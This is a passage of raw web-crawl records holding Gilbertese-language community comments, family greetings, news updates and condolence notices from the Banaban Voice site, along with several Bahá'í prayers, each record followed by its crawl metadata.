are bon marosi jnr te boboto. love u all an miss u. god bless an takecare!\nhi ruru ma am buu n aaei ao kain abam ao kain batam. kam uara n tain te easter awae??? hope ba a nako rai bai ni kabane n ami tabo anne, ao tao kam bon enjoy ami easter.neiko, i a kaogoko naba are e a bon motirawa manem are teirabug, eg, e bon kawa te aba n te maiu aei. e a maiu teirabug ba e akitana te maiu ao ea toki naba kainanona. e bon email me kirenag, ba n na tuagko. tao ti gaia moa ane\ne baa gkai ara kabane n tain te ester, ao e bon boaki n te nukamotu ae glenbrooks. gaira bon kain pukekohe, bon aia mwakoro teaiaki ma kokeaki. e bon koro kaugana ba e a bon tia aron te ikiribati iaon nz ba a bon ragin rawata iaon ikai. ti bon camp ianon four days, e bon katea ana tent ane ao e a maeka inanona, ao te maitoro e bon koro arona. e nako raoi kanoan te easter gkai ao ti oki rikaki ma te kukurei , ba e koro raoi kanoan te waki. ara mitinare ikai bon nei teoraiti. n nagi nako moa ba e a baki naomi . ti a maga reitaki gkanaa ko mawa n am tai.\nHey Sis! so good to hear from you! hope you and mum and are well - I think of you often and miss you all dearly. Please send me your email address as I would like to send you a longer email with all my news- Best wishes and love x xx\nmauri hey! ao kam uara ma natim ao teitebon?? hope a bon nakoraoi baai ni kiabane. e a tiba reke au tai n internet, ao i a tiba nora am comment, e raraba anne. e uara totita ma tuity?? tao a bon ragin ataein aine gkai, ai bon aron naba natia ae e ubu ni kaebu ae nei mimin.\nhey7 ruru i a maga bon ogota iroum am news ma ikanne. gkai ti bon botaki n aia auti reeu ma tutana, ba te taoaama ibukin motirawan makuatera iaon ana kaibuke itinaniku. gai ma mimin ti bon mena irouia teaiaki ma kokeaki i pukekohe. ti a boo moa ao kam tekerai ma bun ao natim ni bane. ana kiss mimin to u all. takecare ao dou moce mada!\nBula Neiko ma am koraki n ataei, I ataia ae koa rangin kariariaa rokon Betarim, ti kaitibo ma ngaaia nte High Commission bwa e kanako ka-Kiritimati te Ai Kamitina ma ana staffs ao e rabwa bwa e reke rokora ma Mayline ao Isabella...\nTe kamauri, te katekeraoi nakoim ma kain am utu riki am ataeinaine akana teniman am roronga ane temanna, e tekeraoi ami Kiritimati ao ami katauraoi nakon 2010...\nKam tekeraoi ao ni kabwaia,\nTimoa Tokataam and Family from Suva, Republic of the Fiji Islands...\nRuru,\nE aki maan ara tarebon bwa tao iai te network problem ma koa koroboki nakon stacey ao koa tuanga am plan ibukin am market nte bwaa. Ngkana aroko Tute ma Nikki ma mai Banaba ao koa tuanga Nikki bwa ea leave te message n au page ae a roko i roum. Ara Banaba Australia Association ena booa ana botaki iroura ikai nte Gold Coast ao ana mwaie iai te nangan Kiribati Nursing Students aika roko n reirei ikai.\nTao ti ngaia moa anne rongorongon ikai ao ai bon te mwakuri ae akea tokina.\nmauri aunty...long tyme..howz kiri by de way..Fiji is ok..daddy n mom r ok nothin much has been hapanin lately jst the usual stuff to stay alive and enjoy life..wel hav to go now but regards to Twity n ol ur children..bye.\nHEY SHSHSHS bula bula te bun ni beeki shshs ai kamarara naba tamneim aio kaga tein raoi au bun ni beeki ma marikana hahahahaha bon te kagare tuetana moa ker ao euara ana fai raom anne hahaha e marurung raoi ker tau ma an tai un ngkoe n anne ker ea kawa tarim ker ba are ia boni konai kaiu iroum ker hahhah joking all the time\nok ma e tekeraoi naba am waaki ao fafule naba iroun nei iei tia bo moa ker takecare sis love u always\ntera aio ? te aomata ke te man ????..............hahahaha\naloha nei lofa n taninga??????????????\neura nee raou are betarim?????\ne missinai ke aki...........tai ububu ni kara bwa miina ao ena terenako wiim........ahahahah","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2x8c5em4abhio","date":"2019-11-14T11:14:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668416.11\/warc\/CC-MAIN-20191114104329-20191114132329-00346.warc.gz","language":"gil","language_score":0.9959613085,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9959613084793091}","num_words":1271,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri n te ririki ae boou bella! kam uara timoa an may! i taku ba kam bon ragin fit well. ko a roko i tarawa ke ko tuai?? ao a uara may ma bella?? e tau ba i a maga bon ogora iroum gkana e reke am tai. naomi e a bon ragin riki rake ni ubu ni kaebu. e bon aki maka tinana ma bon ti gai. gkai i bon uouota te wooden spoon inanon au bag everywhere, ba bon ti gaia ogoraekana.\nti a bon kitania timetaake ma, ao gkai tia bon okira te auti i sydney. e bon ragin ribaki ba are e a bon taon n tenaia natin nei tei,etaake ake teniman. a bon babaga ni un ataei aikai, ao e a bon karaoi ana kakai e tena ao e kuri2 naba. e bon kabaa nan tetei aei, e bon kattoga ataein tibuna are kibau te wai. e uara te grog? i a gogora iroum ti a boo moa an takecare. aunty mamrosi\nena tekeraoi riki te xmas timoa! kam uara ggkai i taku ma kam bon ragin fit kee? gaira ti bon kekeiaki naba n ara tabo aei. minto e bon ragin marurug raoi ao iriana are bon te kume ma te tabare. ega gkai tibun nei bella bon are i kiribati i bonriki? maga tera gkanne ami plan n tain te ka ririki?? e tau ba ti a mag ogogra iroum kee. regards to u all ao kam na kabaia! ti a boo moa kee.\nhi frm oz timoa! merry xmas again to u ,may an bella! e uara ami xmas party?? i takuu ba e bon nako raoi bai ni kabne. gaira e bon nako raoi naba ara ka xmas n tabo aikai a ragin kabotu. i maga bon ogora iroum gkana e toki gagam ke.\nhey e uara te grog n am tabo anne, i a ragin matai kaga iroum, ma taraia ka rau2 ke ba tokina aao ai bon te bai teuana gkanne taran kunim. gai a bon reke naba kain au gag ni moi grog n te tabo aei, ba uoman mane aika i biti.\nnei naomi e a bon tena ribana n te mwega aio, ba a bane ataein te auti aei n tenaki iroun te bae nei naomi. kai tao ai kan kain ana kambana nei bella ke. tina moantai ni kabaei aaia nakon te army n aine nakon tai aika na roko. pliz kiss her for me akka an mimin. te iga riki nakoim ma may, bella ao ai kan ami auti ni bane. ena tekeraoi may n ana makuri. ti a boo moa an takecare.\nhey mauri ten timoa! kabara buren te waeremwe ni kaeka. i bon still mena n te country side irouia temetaake ma, ao akka e bon tiku i sydney. e ragin kauga ikai ba tinan timetaake ao ti nanan naba buna, a bon roko ma i kiribati\/ ai bon 2 gkai ara month ikai. guess what timoa, aine aikai tan taka2ro n te poker machine, ao n tokina gkai ao i a bon bati n taka2ro\/ we went there every wknd ao e a bon kareke naba\/ e un akka ba e taku ba i kabane man.\ntera te news n am tabo anne? an where's big mama?? aganna au iga ae moan te bati ao nakoia naba teue an ioteba. ena tekeraoi te makuri timon, ao riki te xmas ae a tabe n roroko. take care an god god bless!. luv u all!\ngud day timoa! thanks for u r reply. gai ma minto ti nag raun to grifith nakoia timetaake ma kaiba,tina take te train 6.00am from centralao ti n roko n te tairiki.tina kataia n oki imain rokom. e uara bella?....e ragin lookforward nakon managana? tons lots of love tou all an big mama, but mostly to bella aotekeraoi\nbula tui bairiki! e raba te kaogora. ena tekeraoi te managa nakoia may an bela, e a kawa big mama, ba e a maga ragin miss ana princess anne. ti maru2g raoi n ara tbo aio, ao e a ragin ka botu. e bon aki maniga taekami minto ni karokoa bog aikai. regards to u all ma e a bon moa2 riki nakon bella, pliz give her a kiss fo us","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/TimoaTokataam","date":"2019-11-19T17:58:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670162.76\/warc\/CC-MAIN-20191119172137-20191119200137-00286.warc.gz","language":"gil","language_score":0.9991483688,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9991483688354492}","num_words":710,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nTi a kaotia ma te nanokawai ba atia ni weteai man te maiu aei Raratu Buren ao Nei Reiango Are. Raratu e motirawa i Savusavu i mwiin wenena n aoraki. E kaiaki rabatana i Rambi.\nNei Reiango e motirawa n te O-n-aorai i Nuku n te Kaonobong 4\/12\/2010 ngkebong ao e kaweneai rabatana n aia auti ana aro i Nadoi.\nTaeka n rainanoanga nakoia utu ae a taonaki n te rawawata inanon buaia raoia aika a tangiraki. Akea ae ona n anganira raun nanora bon ti Te Atua.\nViews: 20\nComment","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/taian-mate-iaon-rambi","date":"2019-11-19T19:04:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670162.76\/warc\/CC-MAIN-20191119172137-20191119200137-00288.warc.gz","language":"gil","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000028610229492}","num_words":97,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nKakannatou bon Au bwaintangira nakoim, ao Rietaatau bon kaotan Au atataiaomata nakoim. Bwa te baere e tau i Bukiu akea ae e na ataia, ke ni kona n taekinna temanna. I a bon tia ni kaawakinna i nanon Batau ake a raba ao i nanon bwaron Au kaetieti, bwa kanikinaean Au moamoaaomata nakoia Au toro ao Au atataiaomata nakoia Au aomata.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60401660&to=gil","date":"2019-11-12T02:12:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664469.42\/warc\/CC-MAIN-20191112001515-20191112025515-00258.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":65,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bula Nei Lailai\ne koaua te maraki te korakai te nanokawai bon kanan te maeu aei. ai antai ae kona n kaitarai - ai bon te bane ni bwaka ni Betero, ea???? C na kekeiaki bwa anne tibwangara mai iroun are ana bwai ikeikera ni bane.\nBon te kakamauri mai ikai ao te inga ae bati nakon sonny boy anne. (ngkane ea kanga aunty ao sonny boy!!!!)\nTake care and God bless......\nmauri! Delly.Touakin??\nEa bon nang maan te tai. I taku ba ko bon kinai, ngke ngkoa kain ara lot nte man te Primary ni karakoa te rabi high School.\nNgai bon nan Enebati ao i mena i lautoka nte west, i reirei ao i mwakuri naba ikai.\nTao koa bon mai9 reitia moa mai ikanne ngkan e reke mawam.\nKo aki kewe e bon katotonga tibuna temaane ae kauariari. Ao ngke kam uara moa. E nga ngkai Nei Kaka Tute. Ko anganna naba ara kamauri ma natira aio ao tia miss rorokona nte auti ma ana kangongo kiatoa nakoina. E tau koa manga reitia mai ikai ao koa angan maneu anne au inga.\nhey sisi mauri moa..konang katoki naba..ko bullie down kerr angke kam uara ngkai..unty ae bon stil naba ikai ao etaku ba eaki kan okiwati..tau tekeraoi d waki ikanne ao moce moa..timanga reitaki imwina riki okkk...see yah..\nMauri moa ngkae nte tai aei.ko raba ibukin am add ao e uara moa ma tabo anne,i taku ba ea roko ni kaungana,ke.Ngai i bon mena ngkai i kiribati,ma boni ngai naba kaain ikanne ao au kaawa i Rabi bon Umarerei te Matoatoa.Au Family a bon mena naba ikanne,I mean i Fulton ao i Savutalele ao ngkae ko mena iaa??Ao pliz koaki kan kanima am Picture ba iaonga n ae ikanako.\nMoce Mada.Reitia mai ikanne.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/DellyTetiaetaraTouakin","date":"2019-11-19T17:56:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670162.76\/warc\/CC-MAIN-20191119172137-20191119200137-00113.warc.gz","language":"gil","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9999926090240479}","num_words":295,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.21,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tia ukora te Koaua! Ngkana ko tangira kaurean matam n tamnei iroun Te Atua, ko na riai n tangi Nakoina, tataro ao Kaaitaraa n te nukanibong ao kaangai:\nTe Uea, I a tia n taraa Abanueam n te Nano teuana ni moau ao e a bua nanou i nanon marawan Am tangira! Te Uea! Kaotaa matau bwa Nna noora Am oota n roon te tairiki aei, ao kakukureiai ni kanenein Am tangira nakon te roro ae e raoiroi aei! Te Uea, kaongoai n Am wewete, ao kauka mataroan Am karawa i matau, n te burimauniaki nakon Mimitongim ma te katikaki nakon Tamaroam!\nBoni Ngkoe te Tia Anga te Aakoi, te Atataiaomata ao te Tia Kabwarai buure.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70225030&to=gil","date":"2019-11-21T22:46:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670987.78\/warc\/CC-MAIN-20191121204227-20191121232227-00214.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":117,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nN te Moanibong ae nako 23\/8\/10 ao a roko kaain te ITC man te Tautaeka ni Biiti ba a karaoa te internet service ibukiia te bota-n-aomata. A uoti aua (4) te computer ao teuana ana satelite antenna are a kateia i mainikun te Librari i Nuku. E bane aia makuri n te Kaonobong 28\/8\/10 ao a kitana ikai n te Tabati 29\/8\/10.N te Moanibong 30th August ao ea uki te e-community centre n te Community Library i Nuku. Aio are a bon kona iai n reitaki kaain Rambi ma aia utu i tinanikun Rambi iaon te internet. Ngkanne te connection nakon te internet aio e bon babaireaki man ana aobiti te ITC Suva ngaia are e bon kanganga naba te roko n taian sites ibukin tamnei aika a bubuaka ao taian sites naba ibukin te chat. E bon ti kona n uki nakon taian sites ibukin te e-mail.Bon te karautaeka naba ba ti aki kona n roko n te Banaban Voice, te bebo ke te tagged, ti te banaban.com ao te banabans.com.fj. Ngkanne ti kona naba n roko n te Banaban Message Board.Te connection e free ma te Kauntira ena katea ana charge ibukin baan te generator. E taku Bouka ba ena bon baireaki ao ena manga katanoataaki.Irariki aio a a bon tia n roko tewana te motor-bike ao tewana te batika te toutou ibun te Rabi Health Centre. E taekinna Dr Iobi ba aikai a bon kamanemaneaki man te Global Fund ibukin buokan kaitaraan te aoraki ae te \"Kangenge\".Ibukin te jetty, e bon tiku naba n arona: Ea tia n tei te auti ao ea tia naba n taunaki man te kawai nakon te tabo are ena tei iai rabatan te jetty ma e tuai n roko karaoana.\nViews: 67\nComment","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/rabi-latest-developments-31","date":"2019-11-12T19:26:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665726.39\/warc\/CC-MAIN-20191112175604-20191112203604-00481.warc.gz","language":"gil","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000059604644775}","num_words":296,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Ntarie,\nko uara ma kain am auti? kam bon nang tara ni marurung n tamneimi...ao kam na karairaki ningai nako Rabi? hehehe...Ngai ma au utu ti bon bane ni maru2ng a moara riki natira. I bon maeka i nausori ma i makuri i CWM hosp. Ao e uara Auriaria? ana Frendo ae Tabuti e nang kora2 ana mamau aine, ae ea manga tanga ngkai ma nei Raine imwin maten nei Aoniba ao ai 1 natia...Nibo ea bon tiba iein naba ma Teannang, kain Fatima..\nAo kam mena ia iaon Tarawa? koa angania naba au koraki ikanne au kamauri..e tau tia boo moa ao tekeraoi te wakii ikanne.\nSuch a lovely foto.Anyway jst droping by to say HELLO to the family dat side.The family in Fiji are all well and doing gr8.Loloma to Totirin, n how do she like her tights n the tops i hope itz her taste.\nHave a good one\nHi sis ....,\ngood to c u on tis website holding and sharing the Banaban roots anyway I just come and check howz thing gong with a Lil family and a happy belated thankzgiving...hope things great and more perfect..Like i wish ...Imao\nMauri Ntarie,\nKo uara ma am koraki ikanne? Au kantaninga ba kam bon bane ni marurung raoi. Bon iai ana bubuti Kautabane ba e kan taetae ma Auriaria iaon te gtalk ke skype ngkana iai ami skype ke gtalk ba iai ana rongorongo nakoimi. A bon bane ni marurung raoi ma natia ao kaain ana auti ni bane. A marurung naba Nei Bweima ma buna ao natia ao aia unimane are Boutu n aia auti ikai i Meang.\nIa ongora iroum te tai are enna kona iai n reke am tai ni maroro ma ami koraki aikai.\nTekeraoi\nno worries sis bon ngke te moan aomata ae n invite you nakon te kaunibutika...hey ti buana e kabwaranano ae tao n aki kaotiko ae ko a tia n kurati bwa are e a bon rang oota ae kanga ko a faluku ........ahahahah\nko kan rebwetata....shshshsh ti buana I missed te kaunibutika keee, ngke I bon roko ao tao ana tira ni konaki kain te gal's side kee, e tau bon tiaki taina bwa are a manga karina n kaoti tabeu...anyway e rabwa te comment I know ae ko bon karea am message.....ahahahahah\nSis e nang kanga e tuai ni bane te reirei.........i taetae ma nei Temaroia ao anga aia kamauri tangaia nakoimi tangami,,,,a bon marurung raoi...are a busy n tainako bwa e vakatava Kibanako mai nuka.....e korakora te bitiniti iroia bukin bain te aro.....te kariki burawa ao te buatoro iroia ma nei Emi ao Obi.... ai aman natina mane ao akea te aine...bon rorona naba arei akea te bitaki tao ena ananau ma buuna arei are e toki abakia...... ao ngke e rarabwa te reitaki ao ia manga bon ongpngora mairoum.....Tekeraoi ma am koraki ni kabane....","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/NtarieAuriaria?xg_source=profiles_memberList","date":"2019-11-20T11:42:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670558.91\/warc\/CC-MAIN-20191120111249-20191120135249-00521.warc.gz","language":"gil","language_score":0.9997736812,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9997736811637878}","num_words":478,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri kokeaki, koura ma kain am auti? tao kam bon bane ni marurung raoi. koa taiaoka n anganai am email address ba ikan koroboki nakoim ke? its kinda urgent!\ntau matia mango bo bo moa ke?\nena tekeraoi te waki ke?\nMauri sis, e raba te ururing. Ti bane ni marurung ao ti nang miss ana wedding Mamira. Ti rang miss naba ikanne and the grog. Anyway tia manga reritaki rimwi. Regards to evryone ao ana kamuri naba tamaia ataei!!!!\nhi aunty kamuara maa kain ami auti.......any ways koa karokoa naba au ka mauri iroia mwaneu akkanne ao ai moa rara riki tariu ane te boboto anne (bwany) aunty tao nna kangai moa ma koa manga bon rarun nako au pg\nNeiko ea bon roko te kara ngaia kama tibuna naba. Antai buun Star. E raraba ami support nakon tibura anne. Akea iakai te grog ma we still iss it. E rereke nimaia kain Banaba ikai ngkana a bowi ba ea tei ikai aia botaki kain Rabi. Ti tabeman kaina ma e bon mwewme naba aia botaki. Tekeraoi te makuri and regards to the fam\nBula,\nNeiko e rabwa te kaitibo naba ikai.Ngaira ti bon marurung naba ao ai uana naba ma te mitinare aio. E koaua ae kam tabe naba ni biriakina aron ami KPC ikanne bwa i bon ongongo ikai...ao tao iaon kawaina ami mitinare??? Mamroti ngkai ea marurung ena kanga ao e bon kuri ni koraeki waena ma e kabaia bwa enang smart ana doctor. Ia angan tarim aio am kamauri.Ne, aura natim akanne ao te itiaina..Tuanga teunne raom anne bwa tia bon anaia bwa ara special mitinare????ahah. E rarabwa naba te kekeiaki ao ai moarara tereitaki. Ueenroti n Kibau a bon nako ni kaea ana birthday tibumi ao ngai i bon aki bwa ia nangin mangao ma natin Star bwa are ea tibwa bung naba buna nte tai anne.\nE uara iai naba te grog ikanne ke ai akea??? E tau tekaeraoi moa ngkoe ma am utu. Loloma to the kids and your hubby.\nLove from all @ Antebuka\nHi sis. Kam na mananga ni kaea ana birthday tibun Uncle Kabwea? Kam anga naba ara ka tekeraoi nakoia ni kabane esp te birthday gal. I ongo ae aia MC ena roko mai Kiribati. A kanganga ae. E nang kanga ao ea taetae te money. E aoria ma koa manga kaongoai mwin te botaki. Tekeraoi te weekend. E atainaine Turia.\nYeah I knew about Mokura's coming, but I'm really sad that I couldn't make it there, ..I'm pretty tied up with work up here . So it's really great to hear that you made it there!! I will call you on ur land lyn soon to catch up with the news hehehehehe....Kabara te bure, we could have all met up all at once, anyway keep me posted cos I heard this week by Friday they'll.. be travelling further down to Rotorua , New Plymouth and then to Wellington b4 heading back home....not so sure, confirm me on this plis.\nThanks for the instant hitback sis.I'm on holiday now dats y m on line most of de time. Its gud 2 know you're all doing fine there. Regards to Teaiaki and de kids n not 4geting am ateinaine are nei temaea. thanx 4 te ururing on work there.wats your suggestion?is it viable withmy so many kids?\nmauri kokeaki ma am usu ni kabane......ai rabara te ururing ae rotira iai te kukurei ma iataia bwa kam bane ni marurung...erabwa iesu nana tagira ma anakoi n nakoira ni kabane......ao konang bati nrabwa kai ko taekinna ae ko kaitibo ma nei tiantake......ao ia bubutiko ngana ko kaitibo ma ngaia ao kotuanga bwa ea tarebonira bwa ena kaongoira ana namba bwa tikan taetae ma ngaia tao bon tingaia aoanne,toa tia manga boo moa ao tia manga rerereitaki imwina......\nmauri naba sis.e raba naba te ururing.ti boni marurung ma ataei. sorry kam miss aia katebo rote ma tarai. ea bon toka ana kai terikano ba e bo i rabi during the december holidays.hows de cold and de swine flu.I cancelled my trip dea with my school students but they are still going. I might come later in future if its safer eh. tia boo moa\nMauri naba Sis,\nYeah , we live up north ....hey so hows the weather on ur side?...must be really cold eh?...e raba Te Atua ngkai ti manga kona ni kaitibo inanon te Banaba voice..ok then Sis ...we will catch up later...and hope to meet you and the family sometime soon....Oh yeah, give me you guys address plis, coz who knows, we might come around if time allows us to....ok then,,,,, bon te kamauri naba mai irou ma au koraki n ataei nakoim ma am koraki..Tao ti bobo moa.. Teke raoi te waki!!!\nGood morning from all the gangs in Lokia, Fiji. Eraba te reply, As you have been updated with the news from rabi(results of the election) i think there is nothing much else from here, except for what we always do everyday, school, work, attend social and church functions and etc,etc, but we praise the Lord this morning for His undying love and unceasing provision for us all..Amen.\nAio ana contact Tasi>+642102985243....not really sure about the address but they are staying in Whangarei.\nTao tingaia moa anne te news ma tia manga bon rereitaki ke?...tia a bo bo moa, love to the family, take care and God Bless u all.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2vtho79etq864","date":"2019-11-20T14:33:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670559.66\/warc\/CC-MAIN-20191120134617-20191120162617-00018.warc.gz","language":"gil","language_score":0.9842967987,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9842967987060547}","num_words":897,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na Mauri\nEa tia n roko ana rongorongo te Commissioner Northern ibukin taonan te Rinrine are ea tia ngkoa ni baireaki ba ena kanakoaki 22nd ao 23rd Jan 2008 kioina ngkai e bon rangin korakora moa katabeana n te itera meang (Northern Division) imwiin korakoran te ang ao te karau are e uota te uruaki ae korakora. Ngkanne ena bon kanakoa ana rongorongo ngkana e tauraoi ana aobiti ibukin aia rinerine kaain Rambi. Ea bon tia naba n reitaki ma ana aobiti te PM ibukin bitakin te kaetieti aei.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/election-updates","date":"2019-11-19T17:55:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670162.76\/warc\/CC-MAIN-20191119172137-20191119200137-00521.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":89,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ibukiia aika a mwananga i bukin te kabuti reirei nakon taabo nako ma ni mwamwananga n taabo aika a ianena; e kona n atonga te tataro aei ni bong ao ni ngaina.\nTe Atua, Atuau! Ko noorai ngkai e otabwaniniaki nanou ao ni katikaki nakon Abanueam ae e mimitong, n urarake n ain Am tangira i buakoia aomata, bwa te tia uataeka i bukin Abanueam n taabo aika a bati ao ni uamaae aikai, ni koreaki man bwaai ni kabane ma ti ngkoe, ni kaakeaa te motirawa ao te mwengaraoi, n raroa nako man mweengau are I mamaeka iai, n riki bwa te tia ti-otio n taabo aikai, te ianena ae e bwakara aontano, ni karinanoai i matan atibun Am Mataroa ae e karietataaki, n ongeaaba nakon Am karawa ae e rietaata mimitongina, ma n Taromauriiko n auan te tairiki ao n tabwenan te ingabong, ao n Bubutiiko man onnon Nakoim n te ingaabong ao n te tairiki bwa Ko na buokai rinanon am tituaraoi ni beku i nanon Am Waaki, ni kataorababaa nako kiraroa Am reirei ma ni karietataa Am taeka n iteran te aonaaba aika i mainiku ao i maeao.\nTe Uea! Kakorakora nuukau ao karikai bwa Nna kona ni beku Ibukim ma te nanokorakora, ao tai katukai n ti ngai, ni maroaa ao n aki konabwai n taabo aikai.\nTe Uea! Kariaia bwa Nna irekenrao ma Ngkoe n tain maroaau, ao riiki bwa Raou n taabo aika a ianena aikai.\nNi koaua, bon Ngkoe te Tia kamatoaia naake Ko bon taku bwa Ko nano irouia ake ko bon tan-giria ao ni koaua, bon Ngkoe te Korakora, te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=200301150&to=gil","date":"2019-11-15T04:03:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668561.61\/warc\/CC-MAIN-20191115015509-20191115043509-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":274,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O Atuau, au Uea ao Au Mwatita! I a tia ni kamwawaai mai irouia au utu ao ni ukoukora Riroum bwa Nna inaomata man bwaai ni kabane ake a maeka iaon te aba ao n tauraoi n taainako ni butimwaea are e kakukurei i Matam. Anganai bwaai aika a raraoi n te aro bwa e na karikai n inaomata man bwaai nako ma ti Ngkoe, ao kataua nakoiu te tibwanga ae e mwaiti man Am tituaraoi ae akea tiana. Bon Ngkoe, ni koaua, Uean te tituaraoi ae akea tiana.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=130211070&to=gil","date":"2019-11-21T14:53:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670821.55\/warc\/CC-MAIN-20191121125509-20191121153509-00048.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":89,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hey tavale mauri!hahahaha eang NZ enang tikiraoi ba erawata aine iaona aika kakaokoro ao anang babanto ea.. eang etuai reke au buarako ba inang beberino naba hahaha ao ngkoe eang ai bon iaon ni kawaina te buarako n reke,ba ianeaia moa nte taaman hahaha.... bro etau ma tekeraoi te waki ao te makuri ma 